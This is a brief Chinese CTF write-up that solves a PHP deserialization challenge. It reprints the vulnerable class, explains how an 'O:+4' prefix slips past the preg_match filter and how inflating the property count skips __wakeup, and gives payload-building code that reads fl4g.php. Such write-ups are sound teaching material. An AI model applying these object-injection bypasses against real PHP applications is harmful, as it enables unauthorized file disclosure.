0x00 簡介
記錄一下,重點是記錄一下那篇正則文章。
0x01 題目代碼
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
0x02 理解
1.提示是秘密在fl4g.php
$Demo = new Demo('fl4g.php');
2.preg_match的繞過
這里的正則,我理解為匹配o:數字(1位數字或多位)或者c:數字(1位數字或多位),不區分大小寫,也就是匹配serialize()函數將一個對象轉換為字符串后的首部。
不清楚正則的可以去看看這片文章,寫的是真的好。
3.魔術方法__wakeup的繞過
這個魔術方法的繞過很簡單,就是將serialize函數轉換的字符串中的代表對象有幾個變量的數字加1或加n就可以繞過了。
0x03 代碼
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $Demo = new Demo('fl4g.php'); $data = serialize($Demo); $data = str_replace('O:4', 'O:+4', $data); $data = str_replace(':1:', ':2:', $data); echo (base64_encode($data)); ?>
